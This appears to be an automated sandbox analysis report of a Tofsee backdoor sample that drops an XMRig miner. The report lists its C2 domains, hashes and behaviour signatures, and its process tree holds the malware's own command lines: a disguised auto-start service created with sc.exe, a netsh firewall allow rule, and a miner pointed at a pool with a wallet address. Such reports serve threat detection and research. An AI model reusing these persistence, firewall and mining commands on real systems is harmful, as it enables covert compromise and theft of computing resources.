Analysis

  • max time kernel
    152s
  • max time network
    158s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    22/10/2022, 04:17

General

  • Target
    file.exe
  • Size 227KB
  • Sample221022-ewdbaaaee7
  • SHA256 a3043be7aac4fec71a44c94fdbf01ce447662ee8b87ed070fb93f171ab544a1a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2016
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jzysimny\
      2⤵
        PID:1628
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rlnvrlrk.exe" C:\Windows\SysWOW64\jzysimny\
        2⤵
          PID:1272
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jzysimny binPath= "C:\Windows\SysWOW64\jzysimny\rlnvrlrk.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1452
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jzysimny "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:240
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jzysimny
          2⤵
          • Launches sc.exe
          PID:692
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1684
      • C:\Windows\SysWOW64\jzysimny\rlnvrlrk.exe
        C:\Windows\SysWOW64\jzysimny\rlnvrlrk.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:452
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1776
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1628

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            rlnvrlrk.exe

            • Path C:\Users\Admin\AppData\Local\Temp\rlnvrlrk.exe
            • Size 12.0MB
            • SHA256 b2c0bd777195a6fc7c30605d07c85c5eef4718150d3da1a6a4daefb5080e24b6
            • MD5 SHA1 SHA512 SSDEEP

            rlnvrlrk.exe

            • Path C:\Windows\SysWOW64\jzysimny\rlnvrlrk.exe
            • Size 12.0MB
            • SHA256 b2c0bd777195a6fc7c30605d07c85c5eef4718150d3da1a6a4daefb5080e24b6
            • MD5 SHA1 SHA512 SSDEEP

            memory/452-81-0x0000000000400000-0x0000000002C27000-memory.dmp

            memory/452-78-0x0000000002D08000-0x0000000002D1E000-memory.dmp

            memory/452-71-0x0000000002D08000-0x0000000002D1E000-memory.dmp

            memory/1628-104-0x00000000001F0000-0x00000000002E1000-memory.dmp

            memory/1628-102-0x00000000001F0000-0x00000000002E1000-memory.dmp

            memory/1776-73-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1776-96-0x0000000005990000-0x0000000005D9B000-memory.dmp

            memory/1776-93-0x0000000000210000-0x0000000000215000-memory.dmp

            memory/1776-87-0x00000000000A0000-0x00000000000A6000-memory.dmp

            memory/1776-75-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1776-99-0x0000000000220000-0x0000000000227000-memory.dmp

            memory/1776-90-0x0000000000200000-0x0000000000210000-memory.dmp

            memory/1776-82-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1776-83-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1776-84-0x00000000017D0000-0x00000000019DF000-memory.dmp

            memory/2016-57-0x0000000002CF8000-0x0000000002D0E000-memory.dmp

            memory/2016-55-0x00000000761F1000-0x00000000761F3000-memory.dmp

            memory/2016-58-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/2016-54-0x0000000002CF8000-0x0000000002D0E000-memory.dmp

            memory/2016-69-0x0000000000400000-0x0000000002C27000-memory.dmp

            memory/2016-67-0x0000000002CF8000-0x0000000002D0E000-memory.dmp

            memory/2016-65-0x0000000002CF8000-0x0000000002D0E000-memory.dmp

            memory/2016-59-0x0000000000400000-0x0000000002C27000-memory.dmp